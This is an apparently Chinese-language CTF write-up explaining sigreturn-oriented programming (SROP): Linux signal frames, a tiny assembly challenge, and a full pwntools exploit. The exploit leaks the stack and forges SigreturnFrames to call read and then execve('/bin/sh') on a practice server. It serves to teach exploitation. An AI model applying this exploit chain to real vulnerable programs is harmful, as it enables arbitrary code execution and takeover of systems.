|
2024-08-12
Pwn-SROP
Author: 堇姬Naup
signal機制
- kernel向process發起signal機制,Process暫時中斷,進入kernel
- 保存環境(簡單來說就是保存了各個暫存器的值,將所有東西壓入stack,並壓入signal相關訊息),這段記憶體被稱為Signal Frame
- 到signal handler處理
- 恢復環境
- 繼續執行process
image
image
signal frame
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| struct _fpstate { __uint16_t cwd; __uint16_t swd; __uint16_t ftw; __uint16_t fop; __uint64_t rip; __uint64_t rdp; __uint32_t mxcsr; __uint32_t mxcr_mask; struct _fpxreg _st[8]; struct _xmmreg _xmm[16]; __uint32_t padding[24]; };
struct sigcontext { __uint64_t r8; __uint64_t r9; __uint64_t r10; __uint64_t r11; __uint64_t r12; __uint64_t r13; __uint64_t r14; __uint64_t r15; __uint64_t rdi; __uint64_t rsi; __uint64_t rbp; __uint64_t rbx; __uint64_t rdx; __uint64_t rax; __uint64_t rcx; __uint64_t rsp; __uint64_t rip; __uint64_t eflags; unsigned short cs; unsigned short gs; unsigned short fs; unsigned short __pad0; __uint64_t err; __uint64_t trapno; __uint64_t oldmask; __uint64_t cr2; __extension__ union { struct _fpstate * fpstate; __uint64_t __fpstate_word; }; __uint64_t __reserved1 [8]; };
|
image
漏洞在哪?
如果我們能控制Stack的值,因為他在恢復環境時沒有驗證,所以可以任意修改來串ROP(透過偽造sigframe來調用惡意syscall)
SROP前提
- 有BOF
- 可以去系統調用signature(或用read控rax之類的)
- /bin/sh地址可以寫入並拿到該地址或是直接有目標及有位址
- syscall地址
SROP chain
image
如果有ret,那可以構造像是這樣的chain來呼叫多個syscall
流程
- 控制stack
- 偽造Signal Frame
- 觸發Sigreturn
- get shell
題目
1 2 3 4 5 6 7 8 9 10 11 12
| ; nasm -f elf64 chal.asm -o chal.o && ld chal.o -o chal .text: global _start
_start: xor rax, rax mov edx, 0x400 mov rsi, rsp mov rdi, rax syscall ret
|
控rax代表可以控你要syscall甚麼,而能控rax的不只有gadget,read返回值,也就是讀取的字節數可以控rax(rax包含系統調用結果)
首先根據上方asm他調用了read,隨便輸入一個他會跳到對應位置
image
這邊我輸入了aaa跳到了0xa616161(0xa是換行)上,因為rsi指向rsp,ret吃到rsp所以stack底部會跳過去
這邊我先放入兩個ret回最上面
再來送一個\x03
來蓋掉stack底部ret位置最低位到xor rax, rax後面
與此同時因為寫入1 byte,rax變成1,call write,寫出stack address
原本
image
寫掉最低位成0x03
image
另外因為寫入1 byte ,讓rax=1
image
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pwn import * from NAUP_pwn_lib import *
context.arch='amd64' REMOTE_LOCAL=input("local?(y/n):")
if REMOTE_LOCAL=="y": r=process('./srop')
else: REMOTE_INFO=split_nc("nc lotuxctf.com 10009")
REMOTE_IP=REMOTE_INFO[0] REMOTE_PORT=int(REMOTE_INFO[1])
r=remote(REMOTE_IP,REMOTE_PORT)
DEBUG=input('debug?(y/n)') if DEBUG=="y": context.log_level = 'debug' context.arch = 'amd64' context.os = 'linux' context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
def p(): gdb.attach(proc.pidof(r)[0])
payload1 = p64(0x401000)+p64(0x401000)
r.send(payload1)
p()
r.send(b'\x03')
leak_stack_base = u64(r.recv()[8:16]) NAUPINFO('LEAK STACK',hex(leak_stack_base))
r.interactive()
|
接下來我們的目標是call execve(),所以要寫入/bin/sh
另外根據上方腳本已經跳出去了,但我們如果一開始送p64(0x401000) 3次,write完後又跳回來了
1 2 3 4 5 6 7 8 9 10 11 12 13
| read = SigreturnFrame() read.rax = constants.SYS_read read.rdi = 0 read.rsi = leak_stack_base read.rdx = 0x400 read.rsp = leak_stack_base read.rip = syscall
payload3 = p64(start) + p64(syscall) + bytes(read)
r.send(payload3)
r.send(payload3[8:23])
|
讀payload進來
1 2 3
| start syscall read.SigreturnFrame
|
ret跳回start,讀15個byte進來
1 2
| syscall read.SigreturnFrame
|
ret到syscall,現在rax=15(call sys_rt_sigreturn)
回復位置成read.SigreturnFrame的樣子
再來
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| execve = SigreturnFrame() execve.rax = constants.SYS_execve execve.rdi = leak_stack_base + 0x108 execve.rsi = 0x0 execve.rdx = 0x0 execve.rsp = leak_stack_base execve.rip = syscall
payload5 = p64(start)+p64(syscall)+bytes(execve) print(len(payload5)) payload5 += b'/bin/sh\x00' r.send(payload5)
r.send(payload5[8:23])
|
回復的read先讀
1 2 3 4
| start syscall execve.SigreturnFrame /bin/sh\x00(leak rsp+0x108)
|
再來ret到start,再讀15byte
1 2 3
| syscall execve.SigreturnFrame /bin/sh\x00(leak rsp+0x108)
|
ret到syscall,現在rax=15
回復成execve.SigreturnFrame
並抓到/bin/sh
get shell!!
另外適時加一些sleep防止送太快
script
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| from pwn import * from NAUP_pwn_lib import * import time
context.arch='amd64' context.os = 'linux' REMOTE_LOCAL=input("local?(y/n):")
if REMOTE_LOCAL=="y": r=process('./srop')
else: REMOTE_INFO=split_nc("nc lotuxctf.com 10009")
REMOTE_IP=REMOTE_INFO[0] REMOTE_PORT=int(REMOTE_INFO[1])
r=remote(REMOTE_IP,REMOTE_PORT)
DEBUG=input('debug?(y/n)') if DEBUG=="y": context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
def pause(): gdb.attach(proc.pidof(r)[0])
payload1 = p64(0x401000)+p64(0x401000)+p64(0x401000)
r.send(payload1)
time.sleep(0.5)
r.send(b'\x03')
leak_stack_base = u64(r.recv()[8:16]) NAUPINFO('LEAK STACK',hex(leak_stack_base))
start=0x401000 syscall=0x40100e
read = SigreturnFrame() read.rax = constants.SYS_read read.rdi = 0 read.rsi = leak_stack_base read.rdx = 0x400 read.rsp = leak_stack_base read.rip = syscall
payload2 = p64(start) + p64(syscall) + bytes(read)
r.send(payload2)
time.sleep(0.5)
r.send(payload2[8:23])
execve = SigreturnFrame() execve.rax = constants.SYS_execve execve.rdi = leak_stack_base + 0x108 execve.rsi = 0x0 execve.rdx = 0x0 execve.rsp = leak_stack_base execve.rip = syscall
payload3 = p64(start)+p64(syscall)+bytes(execve) print(len(payload3)) payload3 += b'/bin/sh\x00' r.send(payload3)
time.sleep(0.5)
r.send(payload3[8:23])
r.interactive()
|